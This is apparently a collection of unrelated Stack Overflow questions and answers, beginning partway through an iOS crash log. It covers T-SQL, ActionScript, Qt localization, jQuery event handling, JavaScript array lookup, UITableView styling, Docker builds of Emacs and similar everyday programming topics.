/System/Library/PrivateFrameworks/VoiceServices.framework/VoiceServices 0x3344f000 - 0x33489fff IOKit armv7 &lt;5e0169de165c2fd25a2ddac1f3e19d06&gt; /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit 0x33641000 - 0x33680fff libGLImage.dylib armv7 &lt;b96f5e231a3e39677b5e3621d61d2f11&gt; /System/Library/Frameworks/OpenGLES.framework/libGLImage.dylib 0x33681000 - 0x33683fff MobileInstallation armv7 &lt;74e2bd725da63513053b4fa41d8cd89c&gt; /System/Library/PrivateFrameworks/MobileInstallation.framework/MobileInstallation 0x3368e000 - 0x3371bfff ImageIO armv7 &lt;abf07fc0430aaf2a2823753c78061aac&gt; /System/Library/Frameworks/ImageIO.framework/ImageIO 0x33850000 - 0x33969fff libicucore.A.dylib armv7 &lt;c4f4fd74dfa672fb4d84914585bbada5&gt; /usr/lib/libicucore.A.dylib 0x33c6f000 - 0x33c87fff libRIP.A.dylib armv7 &lt;436e3b257ba088ca6f773961ce619892&gt; /System/Library/Frameworks/CoreGraphics.framework/Resources/libRIP.A.dylib 0x33c88000 - 0x33c8bfff libGFXShared.dylib armv7 &lt;12f82e44ff36b29f8d0661878be83554&gt; /System/Library/Frameworks/OpenGLES.framework/libGFXShared.dylib 0x33c90000 - 0x33c9cfff DataDetectorsCore armv7 &lt;bc6bff5b67aae8b97a8cdd43ed7b0bb1&gt; /System/Library/PrivateFrameworks/DataDetectorsCore.framework/DataDetectorsCore 0x33e36000 - 0x33edefff QuartzCore armv7 &lt;109b4f6a3d2ee5aa1bb5775ab5a489bc&gt; /System/Library/Frameworks/QuartzCore.framework/QuartzCore 0x33ee2000 - 0x33f8bfff libxml2.2.dylib armv7 &lt;1d74fa3a5cec309857503a51cb2df667&gt; /usr/lib/libxml2.2.dylib 0x34035000 - 0x342cffff libLAPACK.dylib armv7 &lt;fbc3f7ad1260a159d75be53218fa9e0c&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libLAPACK.dylib 0x343a8000 - 0x343b1fff CoreVideo armv7 &lt;58180e899ec56cd8bca00221dea2bc32&gt; /System/Library/Frameworks/CoreVideo.framework/CoreVideo 0x343ee000 - 0x3442cfff libvDSP.dylib armv7 &lt;cc8d6be7a5021266e26ebd05e9579852&gt; /System/Library/Frameworks/Accelerate.framework/Frameworks/vecLib.framework/libvDSP.dylib 0x3442d000 - 0x34435fff libkxld.dylib armv7 &lt;4ec35c4d1e1e73416aea84537829ce91&gt; /usr/lib/system/libkxld.dylib 0x34438000 - 0x34445fff OpenGLES armv7 &lt;e397de408a0a789f816bc1803ae58faf&gt; /System/Library/Frameworks/OpenGLES.framework/OpenGLES 0x344e8000 - 0x34521fff MobileCoreServices armv7 &lt;d38c937ae3548777da263d2657536189&gt; /System/Library/Frameworks/MobileCoreServices.framework/MobileCoreServices 0x3456c000 - 0x3459bfff CoreText armv7 &lt;76eb1b63d684c3d21dba9e8129666d2f&gt; /System/Library/Frameworks/CoreText.framework/CoreText 0x3459c000 - 0x345d2fff Security armv7 &lt;7cea1027f1a381b8d6c5ffae4dae0d22&gt; /System/Library/Frameworks/Security.framework/Security 0x3473c000 - 0x347dbfff JavaScriptCore armv7 &lt;894df23ebbc4df713d9519141a61dd19&gt; /System/Library/PrivateFrameworks/JavaScriptCore.framework/JavaScriptCore 0x347dc000 - 0x347ddfff CoreSurface armv7 &lt;042e433142b7faa4c96b23e555faaf13&gt; /System/Library/PrivateFrameworks/CoreSurface.framework/CoreSurface 0x34844000 - 0x3484bfff libbz2.1.0.dylib armv7 &lt;5d079712f5a39708647292bccbd4c4e0&gt; /usr/lib/libbz2.1.0.dylib 0x3487c000 - 0x348aafff SystemConfiguration armv7 &lt;2b44ac2fc47fc45c4006d08019688dbb&gt; /System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration 0x348ac000 - 0x348b7fff libz.1.dylib armv7 &lt;19a78978d5908bedc6496470fe542936&gt; /usr/lib/libz.1.dylib 0x348e9000 - 0x34929fff CoreAudio armv7 &lt;1723726845b73efbeca75b33d75f335a&gt; /System/Library/Frameworks/CoreAudio.framework/CoreAudio 0x3493e000 - 0x3496cfff libCGFreetype.A.dylib armv7 &lt;475259824770c6ff1b63f30238b3ea81&gt; /System/Library/Frameworks/CoreGraphics.framework/Resources/libCGFreetype.A.dylib 0x3496d000 - 0x349a3fff TextInput armv7 &lt;949f29588014140b606042685de1dee6&gt; /System/Library/PrivateFrameworks/TextInput.framework/TextInput 0x349a4000 - 0x349c3fff Bom armv7 &lt;c73b68b11b2801cefbfbdb6328a7fcfb&gt; /System/Library/PrivateFrameworks/Bom.framework/Bom 0x34dd5000 - 0x34e07fff AddressBook armv7 &lt;3dde743216bbf016019b59f821dda6e3&gt; /System/Library/Frameworks/AddressBook.framework/AddressBook 0x34f43000 - 0x34f4ffff SpringBoardServices armv7 &lt;7624f0a9e197261f2df43edb86ba0256&gt; /System/Library/PrivateFrameworks/SpringBoardServices.framework/SpringBoardServices 0x34f50000 - 0x34f5dfff libbsm.0.dylib armv7 &lt;27ad6b3a74ce1068586eabd6a553183f&gt; /usr/lib/libbsm.0.dylib 0x34f5e000 - 0x34f64fff IAP armv7 &lt;42a87fc47e059f5a73dcff2227b9e0be&gt; /System/Library/PrivateFrameworks/IAP.framework/IAP 0x3502d000 - 0x35151fff AudioToolbox armv7 &lt;802e4d5c449b69d9552809e5230baa84&gt; /System/Library/Frameworks/AudioToolbox.framework/AudioToolbox 0x35156000 - 0x35156fff Accelerate armv7 &lt;f4c04cdfdb64d209828315cdd5b60bf9&gt; /System/Library/Frameworks/Accelerate.framework/Accelerate 0x351fb000 - 0x35308fff libSystem.B.dylib armv7 &lt;3fcf32f3ad8ef745480b5b36efc41953&gt; /usr/lib/libSystem.B.dylib </code></pre> <p>We tried symbolicatecrash too, but it doesn't point to anywhere.</p> <p>Thanks and Regards, Hetal</p>
2907939	0	Hex characters in varchar() is actually ascii. Need to decode it <p>This is such an edge-case of a question, I'd be surprised if there is an easy way to do this.</p> <p>I have a MS SQL DB with a field of type varchar(255). It contains a hex string which is actually a Guid when you decode it using an ascii decoder. I know that sounds REALLY weird but here's an example:</p> <p>The contents of the field: "38353334373838622D393030302D343732392D383436622D383161336634396339663931"</p> <p>What it actually represents: "8534788b-9000-4729-846b-81a3f49c9f91"</p> <p>I need a way to decode this, and just change the contents of the field to the actual guid it represents. I need to do this in T-SQL, I cannot use .Net (which if I could, that is remarkably simple).</p> <p><strong>UPDATE</strong>: Some people have responded with ways that may work in one-off statements, I need a way to put this into an UPDATE statement.</p> <p>For example: UPDATE MyTable SET MyField = MyFunction(MyField)</p> <p>Where MyFunction is the correct answer to this question.</p>
4010440	0	 <h1>Update</h1> <p>First off I'd suggest you drop the use of setInterval, they're particularly problematic. Instead use the <code>Timer</code> class, which is far more straightforward to manage and use.</p> <p>The <code>setInterval</code> inside the <code>sRes.onLoad</code> function is probably your issue though. The interval should be in milliseconds, so your 0.1 should probably be 100 (for 1/10th second), and the <code>clearInterval</code> calls in <code>fadeIn</code> and <code>unLoad</code> might have <code>myInterval</code> out of scope, check these with a <code>trace</code> to make sure they are clearing as expected.</p> <h2>Code</h2> <p>Ok, I've re-ordered the code to make it a bit more readable... However, it is still in very bad shape. I'm marking things out that I'd need to discuss with you further... (see below additional comments in the code.)</p> <pre><code>stop(); // Moved import to the top. import JSON; // Grouping var declarations. var myself = scrollContent; myself._alpha = 0; var values = Array("3"); var myTimer = null; var sRes:LoadVars = new LoadVars(); var server_send:LoadVars = new LoadVars(); var vars = Array("id"); // why are we looping through an array of one value? for(var i=0; i&lt;vars.length; i++) { server_send[vars[i]] = escape(values[i]); } server_send.load('void.txt'); // what is this for? server_send.sendAndLoad(_global.server, sRes, "POST"); // where do we define _global.server this.onUnload = function () { clearInterval(myTimer); // is myTimer in scope here? server_send = new LoadVars(); trace("stopping gewerbe"); }; function fadeIn(which){ which._alpha += 3; if(which._alpha &gt;= 100){ clearInterval(myTimer); // is myTimer in scope here? } } sRes.onLoad = function(success:Boolean) { if (success) { var o:Object = JSON.parse(sRes.res); var s:String = JSON.stringify(o); var y = 0; for(item in o) { actCol = 0; myself.attachMovie("row", "entry" + item, myself.getNextHighestDepth(), {_x: 0, _y:y}); var tr = myself["entry" + item]; tr.cTitle = o[item]["title"]; tr.cBild = o[item]["image"]; tr.cText = o[item]["text"]; y += 65; } myTimer = setInterval(fadeIn, 0.1, myself); // setInterval uses milliseconds 0.1 is almost certainly the problem. // if you want 1/10th of a second, specify 100 as the interval. _root.myIntervals.push(myTimer); // We never see _root.myIntervals again, what's this for? // The fadeIn and unLoad methods could use this to // guarantee that they clear the right interval. } else { trace("no connection..."); } } </code></pre>
18077702	0	 <p>I think that your problem is IIS Security Permission. Did you try that?</p> <p>You must grant access to <code>IIS_IUSRS</code> user for read, write and modify files on Template and Output folders. You can read more about this <a href="http://support.microsoft.com/kb/313075" rel="nofollow">Here</a>.</p>
38812660	0	Android Studio Messages View doesn't show every time <p>Im Running Android studio in Debian 8 and when I build apk errors are shown in Message view. I set it to popup, But half of the time It seams to fail and I can't view the message view at all.</p> <p>Is this a known bug or what? </p>
37561793	0	 <p>Since you crosspost, I crossanswer :P IMHO crossposting is bad and you should delete one of the questions.</p> <hr> <p>This question is also being answered here (since you already found my github bug report):</p> <p><a href="https://debbugs.gnu.org/cgi/bugreport.cgi?bug=23529" rel="nofollow">https://debbugs.gnu.org/cgi/bugreport.cgi?bug=23529</a></p> <p>For the moment, and likely it will be this way until the emacs build system changes, the only valid solutions are:</p> <ul> <li><p>Don't build with a Dockerfile and build in a running container that has a seccomp profile that allows the personality syscall. For example:</p> <p><code>docker run --rm -it --security-opt seccomp=unconfined emacs-builder-image</code></p></li> <li><p>Disable /proc/sys/kernel/randomize_va_space before building:</p> <p><code>echo 0 &gt; /proc/sys/kernel/randomize_va_space; docker build .</code></p></li> </ul>
35912423	0	How to add css class on validation error to list item <p>In my application I have ListView with textField which is validating when user submit button. When there is error it will show error message. Problem is there is a lot of rows so user can not recognize bad row easily. So is there some way how to add css class to this bad row after submitting button ?</p> <pre><code> private void addListView() { add(new PropertyListView&lt;MyClass&gt;("view") { private static final long serialVersionUID = 1L; @Override protected void populateItem(final ListItem&lt;MyClass&gt; listItem) { listItem.add(new TextField&lt;String&gt;("result") { private static final long serialVersionUID = 1L; @SuppressWarnings("unchecked") @Override public final &lt;String&gt; IConverter&lt;MyClass&gt; getConverter(Class&lt;MyClass&gt; type) { return (IConverter&lt;MyClass&gt;) StringConverter.getInstance(); } }); }); } </code></pre>
28410390	0	Deserializing a Spark Dstream <p>I am trying to apply Drools Engine (Drools Fusion) over streaming data using Spark Streaming.</p> <p>But I am unable to deserialize a variable of type JavaDStreamto fire rules over it.</p> <p>It is showing comparision error between JavaDstream and Interger. Please suggest how to resolve this. Below is the Code</p> <p>Main class</p> <pre><code>SparkConf conf = new SparkConf().setMaster("local[2]").setAppName("Spark Streaming"); JavaStreamingContext jssc = new JavaStreamingContext(conf, new Duration(10000)); JavaReceiverInputDStream&lt;String&gt; lines = jssc.socketTextStream("localhost", 8089); class splitFunc implements Function&lt;String, Long&gt; { public Long call(String x) { return Long.parseLong(x); } } JavaDStream&lt;Long&gt; in_amount = lines.map(new splitFunc()); insertEvent(entryPointStoreOne,new Sale(),in_amount); </code></pre> <p>Sale.java - FACTS</p> <pre><code>import org.apache.spark.streaming.api.java.JavaDStream; public class Sale { private JavaDStream&lt;Long&gt; amount; public Sale (){ } public void setAmount(JavaDStream&lt;Long&gt; amount) { this.amount=amount; } public JavaDStream&lt;Long&gt; getAmount() { return amount; } </code></pre> <p>}</p> <p>Drools Rules File</p> <pre><code>declare Sale @role(event) end rule "Store One - Has Passed its Sales Record" when $amount : Sale( amount &gt; 1000 ) - FAILING HERE from entry-point StoreOne then System.out.println("Store One has passed its Sales Records"); end </code></pre>
4260127	0	Something confusing about digital certificates <p>A digital certificate is a digital document that certifies that a certain public key is owned by a particular user. Thus if you trust the CA that signed the certificate <code>C</code>, then you can trust that specific public/private key pair is owned by the owner of certificate <code>C</code>.</p> <p>a) Assume client <code>A</code> wants to establish a connection with server <code>B</code> located at url www.some_domain.com. When establishing a connection with <code>B</code>, <code>A</code> may receive from the other end a X.509 certificate <code>C</code> and a public key, belonging to the owner of certificate <code>C</code>. </p> <p>But how can client know that owner of <code>C</code> is really a server <code>B</code> and not some other entity that hijacked ( if that is the correct term ) the connection and sent its own certificate and public key to <code>A</code>? </p> <p>Only way I can think of for client to know whether owner of <code>C</code> is really <code>B</code>, is if <code>C's Subject</code> field also specifies the domain for which this certificate is valid or if it specifies the organization to which this certificate belongs ( but that only helps if client knows to which organization www.some_domain.com belongs )?! </p> <p>thank you</p>
13643092	0	 <p>Let us consider the pros and cons of doing this Server side </p> <p>PROs:</p> <ul> <li>You can do other processing on the data using the power of the server </li> <li>You are not subject to cross domain limitations like you would be in ajax </li> <li>Generally you do not have to worry about your server being able to access the resource, whereas on client you are at the mercy of users net restrictions, firewalls etc </li> <li>More control over your http response\request lifecycle</li> </ul> <p>CONS:</p> <ul> <li>You will have to consume more bandwidth sending the resulting data down to the client.</li> <li>You may have to do more work to leverage good caching practices</li> <li>Dependant on having certain server side libraries\framework elements</li> </ul> <p>Now although we have a much bigger list of Pros than cons... in the majority of cases you will still want to do this on the client... because the issue of double handling the data is actually a very big one, and will cost you both time and money.</p> <p>The only reason you should actually do it server side is if you need to do extensive processing on the data, or you cannot circumvent CORS (cross domain) restrictions.</p> <p>If you are just doing something simple like displaying the information on a webpage, then client side is preferable.</p>
30050589	0	 <p>The problem is that you're producing this JavaScript inside the <code>onclick</code>:</p> <pre><code>alert_box(10,hello,134) </code></pre> <p>As you can see, you're trying to use a <em>variable</em> called <code>hello</code> there, you aren't using the string <code>'hello'</code>.</p> <p>To do so, you must put it in quotes. To do it reliably, you need to ensure that <code>"</code> and <code>&amp;</code> in them are replaced with HTML entities (<code>&amp;quot;</code>, <code>&amp;amp</code>), and ensure that if they have <code>'</code> in them, they're escaped with backslashes. You'll probably also want to convert line breaks in teh string (if there are any) into <code>\\n</code> sequences and so on. It's a real pain, basically. (This advice assumes you'll continue to use <code>"</code> as the quote around the attribute and that you'll use <code>'</code> as the quote around the JavaScript string.)</p> <p>So:</p> <pre><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; $('#Blocks' + IJ).append( '&lt;span onclick="alert_box(' + value_1 + ',\'' + value_2.replace(/&amp;/g, "&amp;amp;").replace(/"/g, "&amp;quot;").replace(/'/g, "\\'").replace(/[\r\n]+/g, '\\n') + '\',' + value_3 + ')"&gt;&lt;/span&gt;' ); function alert_box(a, b, c) { alert(c); } </code></pre> <p><strong>Live Example:</strong></p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; var IJ = 1; $('#Blocks' + IJ).append( '&lt;span onclick="alert_box(' + value_1 + ',\'' + value_2.replace(/&amp;/g, "&amp;amp;").replace(/"/g, "&amp;quot;").replace(/'/g, "\\'").replace(/[\r\n]+/g, '\\n') + '\',' + value_3 + ')"&gt;click me&lt;/span&gt;' ); function alert_box(a, b, c) { alert("a = " + a + ", b = " + b + ", c = " + c); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="Blocks1"&gt;&lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p> <hr> <p><strong><em>But</em></strong>, it would be <strong>much</strong> better not to use <code>onclick</code> at all, which bypasses all of those hassles:</p> <pre><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; $("&lt;span&gt;") .on("click", function() { alert_box(value_1, value_2, value_3); }) .appendTo('#Blocks' + IJ); function alert_box(a, b, c) { alert(c); } </code></pre> <p><strong>Live Example</strong>:</p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; var IJ = 1; $("&lt;span&gt;") .text("click me") .on("click", function() { alert_box(value_1, value_2, value_3); }) .appendTo('#Blocks' + IJ); function alert_box(a, b, c) { alert("a = " + a + ", b = " + b + ", c = " + c); }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="Blocks1"&gt;&lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p> <hr> <p>The above assumes that the values of <code>value_1</code>, <code>value_2</code>, and <code>value_3</code> don't change after you've hooked up the handler. If they may, we can use a builder function to ensure we use the version as of when we hooked up the handler rather than the version as of when the click event happens:</p> <pre><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; $("&lt;span&gt;") .on("click", buildHandler(value_1, value_2, value_3)) .appendTo('#Blocks' + IJ); function alert_box(a, b, c) { alert(c); } function buildHandler(v1, v2, v3) { return function() { alert_box.call(this, v1, v2, v3); }; } </code></pre> <p><strong>Live Example:</strong></p> <p><div class="snippet" data-lang="js" data-hide="true"> <div class="snippet-code snippet-currently-hidden"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var value_1 = 10; var value_2 = 'hello'; var value_3 = 134; var IJ = 1; $("&lt;span&gt;") .text("click me") .on("click", buildHandler(value_1, value_2, value_3)) .appendTo('#Blocks' + IJ); value_1 = value_2 = value_3 = "changed"; // Just to prove we don't use them function alert_box(a, b, c) { alert("a = " + a + ", b = " + b + ", c = " + c); } function buildHandler(v1, v2, v3) { return function() { alert_box.call(this, v1, v2, v3); }; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="Blocks1"&gt;&lt;/div&gt; &lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"&gt;&lt;/script&gt;</code></pre> </div> </div> </p>
3446755	0	Qt localization: loading the localizable string probelm <p>I want to load the localized string in a Qt application. For this, I am following a few steps. Correct me if I am wrong.</p> <p>Note: it works fine for <code>QString</code> but not for <code>const char*</code></p> <ol> <li><p>Update the pro file with translation language</p></li> <li><p>Generate <code>.ts</code> &amp; edit using Qt linguist. Generate <code>.qm</code> file using lupdate and lrelease.</p></li> <li><p>Load the .qm file from a particular location.</p></li> </ol> <p>Here is how my <code>const char*</code> looks:</p> <pre><code>const char* sayHello = QT_TRANSLATE_NOOP("FriendlyConversation","hello"); LocalizationWithQT::LocalizationWithQT(QWidget *parent) : QMainWindow(parent) { //ui.setupUi(this); QString str = tr("say hello"); QPushButton *pushbutton = new QPushButton(tr(sayHello)); setCentralWidget(pushbutton) } </code></pre> <p>And here's how I am loading the .qm file:</p> <pre><code>QApplication a(argc, argv); QTranslator translator; bool val = translator.load("c:\\Data\\test\\hellotr_la"); a.installTranslator(&amp;translator); LocalizationWithQT w; w.showMaximized(); return a.exec(); </code></pre> <p>The problem is, if I provide any alternate Latin string to "sayhello", it's not loading at all. </p> <p>I have no idea where the mistake is.</p>
21770953	0	 <p>The simplest way I know is to use <code>location.href</code> property in <code>OnClientClick</code> event of button.</p> <p><strong>See following example:</strong></p> <pre><code>&lt;asp:Button ID="btnEdit" runat="server" Text="Edit" OnClientClick="window.location.href='your edit URL here'" /&gt; </code></pre>
23653424	0	 <p>Another solution is to use <a href="http://jrsoftware.org/ishelp/topic_isxfunc_createoutputprogresspage.htm" rel="nofollow"><code>CreateOutputProgressPage</code></a> to display a progress page over the top of the Preparing to Install page. See the <code>CodeDlg.iss</code> example script included with Inno for an example of the usage; it's fairly straightforward.</p>
3917947	0	View XML data as a table <p>Is there a way I can use Visual Studio to view my XML data in a tabular structure by applying the appropriate XSD to it?</p> <p>Are there any other tools I can easily use for this purpose? PS: I need this for a one time use.</p>
15670911	0	 <p>You are trying to call it as a c function but it is declared as a class method.</p> <p>In Objective C you need to write </p> <pre><code>[self setAsPrevious:current]; </code></pre>
4854427	0	 <p>Are you trying to do different things if the objects in the array are of different classes? You could do something like this:</p> <pre><code>for (id obj in myArray) { // Generic things that you do to objects of *any* class go here. if ([obj isKindOfClass:[NSString class]]) { // NSString-specific code. } else if ([obj isKindOfClass:[NSNumber class]]) { // NSNumber-specific code. } } </code></pre>
8102796	0	 <h2>Using native <code>Array.filter</code></h2> <p>If you are targeting only modern browsers (IE9+ or a <a href="http://kangax.github.com/es5-compat-table/" rel="nofollow">recent version</a> of any other major browser) you can use the JavaScript 1.6 array method <a href="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/filter" rel="nofollow"><code>filter</code></a>.</p> <pre><code>var testItem, data = [{"id":"item-1","href":"google.com","icon":"google.com"}, {"id":"item-2","href":"youtube.com","icon":"youtube.com"}, {"id":"item-3","href":"google.com","icon":"google.com"}, {"id":"item-4","href":"google.com","icon":"google.com"}, {"id":"item-5","href":"youtube.com","icon":"youtube.com"}, {"id":"item-6","href":"asos.com","icon":"asos.com"}, {"id":"item-7","href":"google.com","icon":"google.com"}, {"id":"item-8","href":"mcdonalds.com","icon":"mcdonalds.com"}]; function getItemById(data, id) { // filter array down to only the item that has the id // https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/Array/filter var ret = data.filter(function (item) { return item.id === id; }); // Return the first item from the filtered array // returns undefined if item was not found return ret[0]; } testItem = getItemById(data, 'item-3'); </code></pre> <p><a href="http://jsfiddle.net/cwGeu/2/" rel="nofollow">Working example</a></p> <h2>Manually looping over the data</h2> <p>If you can't use filter you are probably stuck with just using a loop:</p> <pre><code>var testItem, data = [{"id":"item-1","href":"google.com","icon":"google.com"}, {"id":"item-2","href":"youtube.com","icon":"youtube.com"}, {"id":"item-3","href":"google.com","icon":"google.com"}, {"id":"item-4","href":"google.com","icon":"google.com"}, {"id":"item-5","href":"youtube.com","icon":"youtube.com"}, {"id":"item-6","href":"asos.com","icon":"asos.com"}, {"id":"item-7","href":"google.com","icon":"google.com"}, {"id":"item-8","href":"mcdonalds.com","icon":"mcdonalds.com"}]; function getItemById(data, id) { var i, len; for (i = 0, len = data.length; i &lt; len; i += 1) { if(id === data[i].id) { return data[i]; } } return undefined; } testItem = getItemById(data, 'item-3'); </code></pre> <p><a href="http://jsfiddle.net/gMcRB/1/" rel="nofollow">Working example</a></p> <p>Even though brute-forcing it with a loop might seem less elegant than using <code>Array.filter</code>, it turns out that in most cases the <a href="http://jsfiddle.net/53v3G/" rel="nofollow">loop is faster than <code>Array.filter</code></a>.</p> <h2>Refactoring to an object instead of an array</h2> <p>The best solution, assuming that the <code>id</code> of each of your items is unique, would be refactoring the way you are storing the data. Instead of an array of objects, use an object that uses the <code>id</code> as a key to store an object containing the <code>href</code> and <code>icon</code> key/property values.</p> <pre><code>var data = { "item-1": {"href": "google.com", "icon": "google.com"}, "item-2": {"href": "youtube.com", "icon": "youtube.com"}, "item-3": {"href": "google.com", "icon": "google.com"}, "item-4": {"href": "google.com", "icon": "google.com"}, "item-5": {"href": "youtube.com", "icon": "youtube.com"}, "item-6": {"href": "asos.com", "icon": "asos.com"}, "item-7": {"href": "google.com", "icon": "google.com"}, "item-8": {"href": "mcdonalds.com", "icon": "mcdonalds.com"} }; </code></pre> <p>This would make accessing items even easier and faster:</p> <pre><code>var data = JSON.parse(localStorage.getItem("result")); data["item-3"].href; </code></pre>
27406014	0	How to customize UITableView separator when the cells got a custom height <p>I followed this post: <a href="http://stackoverflow.com/questions/1374990/how-to-customize-tableview-separator-in-iphone">How to customize tableView separator in iPhone</a></p> <p>Problem is that it doesn't work well when I have custom height for my cell.</p> <p>I'll show you with two images, the one with two lines is the result of having a custom height for my cells.</p> <p><img src="https://i.stack.imgur.com/VzWI6.png" alt="enter image description here"></p> <p>With custom height: <img src="https://i.stack.imgur.com/cxc9d.png" alt="enter image description here"></p> <pre><code>- (UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath { UIView *lineView = [[UIView alloc] initWithFrame:CGRectMake(0, cell.contentView.frame.size.height - 1.0, cell.contentView.frame.size.width, 1)]; lineView.backgroundColor = [UIColor darkGrayColor]; [cell.contentView addSubview:lineView]; } - (CGFloat)tableView:(UITableView *)tableView heightForRowAtIndexPath:(NSIndexPath *)indexPath { return 50; } </code></pre>
27316625	0	Loop through element of a defined size in Jquery? <p>I'm creating an animation for my website where I got different divs containing an image and an aside where I put my text describing something related to the image. The aside is a little bit wider than my picture and what happens is that when I hover it, it slides to the right and has his width increased. </p> <p>When I hover another one the first one goes back to its initial position. So I found a solution that obliged me to naturally loop through all the divs that are not hovered, but the problem now is since every divs (including the one hovered last) is not hovered, they all get the animation (thus creating a visual bug because the aside is placed absolute and behind the image) while i'd like it to be only on the first one. </p> <p>So I thought I should loop through all the divs that are not hovered AND got a defined sized (the one they got after they are behind shown), but I couldnt get it work, neither did I find a solution to loop through elements with the each function... </p> <p>Here is my HTML code : </p> <pre><code> &lt;div class="partenaires-wrapper"&gt; &lt;img src="http://mylor.fr/mauro/wp-content/uploads/2014/08/sharks.png" alt="" width="223" height="138" /&gt; &lt;div class="partenaires-aside"&gt; Sed rutrum elementum odio, ut efficitur magna efficitur sit amet. Phasellus posuere eget felis non tempor. Morbi elementum, velit non aliquam suscipit, odio orci viverra felis, sit amet elementum tellus mauris a nunc. Aliquam nec nisl eget nunc pulvinar varius commodo id urna. Duis ac sem erat. Pellentesque aliquet posuere justo ac luctus. Aliquam porta placerat blandit. &lt;/div&gt; </code></pre> <p>and the Javascript part : </p> <pre><code>$(".partenaires-aside").mouseover(function () { $(".partenaires-aside").not(this).each(function () { $(this).delay( 800 ).animate({'width':'24%'}, 500); $(this).animate({'margin-left':'0%'}, 500); $(this).find("p").hide("slow"); }); $(this).animate({'margin-left':'30%'}, 500); $(this).animate({'width':'60%'}, 500); $(this).find("p").show("slow"); }); </code></pre> <p>I really dont know if made myself clear, but I hope you understood correctly. Thank you in advance for you help!</p>
34438181	0	 <p>Actually you need to add the following folders:</p> <ul> <li>layout-sw320dp (xhdpi devices) </li> <li>layout-sw340dp (xxhdpi devices)</li> <li>layout-sw380dp (xxxhdpi devices)</li> </ul> <p>you must add folders only if you really need another whole layout in different devices. Other than that , use only default layout folder with proper layout structure and extract dimensions on different density folders.</p>
29739844	0	 <p>It works! Here is my completed code for adding an event and deleting one that occurs at the same time.</p> <pre><code>function createEvent(calendarId,title,startDt,endDt,desc) { var cal = CalendarApp.getCalendarById(calendarID); var start = new Date(startDt); var end = new Date(endDt); var event = cal.createEvent(title, start, end, { description : desc }); var events = cal.getEvents(start, end, { search: 'open' }); for (i in events){ events[i].deleteEvent(); } }; </code></pre>
3042604	0	What happens when I create an index on a view? Are there any benefits versus using a table with indexes? <p>From what I understand the data will be "persisted" (physically stored, not just retrieved when i need it). Is this correct? </p> <p>If so what would be the advantage of using an indexed view versus just using a table?</p>
32198499	0	Unnecessary semicolon <p>Once I import v7-appcompat library into Eclipse, I get a warning described as "Unnecessary semicolon" at the end line of the R.java file. I attempt to remove it, but I guess I'm not able to. I appreciate any kind of help. Thanks in advance.</p>
19192060	0	 <p>Ok, so I figured out a work around. Instead of using the <code>UserControl</code> object, I use the <code>Page</code> object to render the control as it will render the server controls properly. After this, I had to wrap my html code in a <code>form</code> object with <code>runat="server"</code>. Now I have no issues getting it.</p> <p>Downside is that I still have to make a call do databind the repeater as the <code>Load</code> event is never raised.</p> <p><strong>Control:</strong></p> <pre><code>&lt;form runat="server"&gt; &lt;table id="user-comments"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;Created On&lt;/th&gt; &lt;th&gt;By&lt;/th&gt; &lt;th&gt;Comment&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;asp:Repeater ID="commentsRepeater" runat="server"&gt; &lt;ItemTemplate&gt; &lt;tr class="user-comment"&gt; &lt;td&gt;&lt;%#Eval("ReviewedOn")%&gt;&lt;/td&gt; &lt;td&gt;&lt;%#Eval("Reviewer")%&gt;&lt;/td&gt; &lt;td&gt;&lt;%#Eval("Comment")%&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/ItemTemplate&gt; &lt;/asp:Repeater&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/form&gt; </code></pre> <p><strong>Code-behind</strong>:</p> <pre><code> public partial class UserComments : System.Web.UI.UserControl { public List&lt;CallReview&gt; Comments; public void BindComments() { commentsRepeater.DataSource = Comments; commentsRepeater.DataBind(); } } </code></pre> <p><strong>Code to render the control and get the raw HTML:</strong></p> <pre><code>//Will be used to load the control var loader = new Page(); var ctl = (UserComments)loader.LoadControl("~/Controls/UserComments.ascx"); //Set the comments property of the control ctl.Comments = _callAdapter.GetCallComments(callId); ctl.BindComments(); //Create streams the control will be rendered to TextWriter txtWriter = new StringWriter(); HtmlTextWriter writer = new HtmlTextWriter(txtWriter); //Render the control and write it to the stream ctl.RenderControl(writer); //Return the HTML return txtWriter.ToString(); </code></pre>
4596520	0	 <p>Performance isn't really a consideration, assuming that you're not talking about gigabytes of XML. Yes, it will take longer (XML is more verbose), but it's not going to be something that the user will notice.</p> <p>The real issue, in my opinion, is support for XML within JavaScript. <a href="http://en.wikipedia.org/wiki/ECMAScript_for_XML" rel="nofollow">E4X</a> is nice, but it isn't supported by Microsoft. So you'll need to use a third-party library (such as JQuery) to parse the XML.</p>
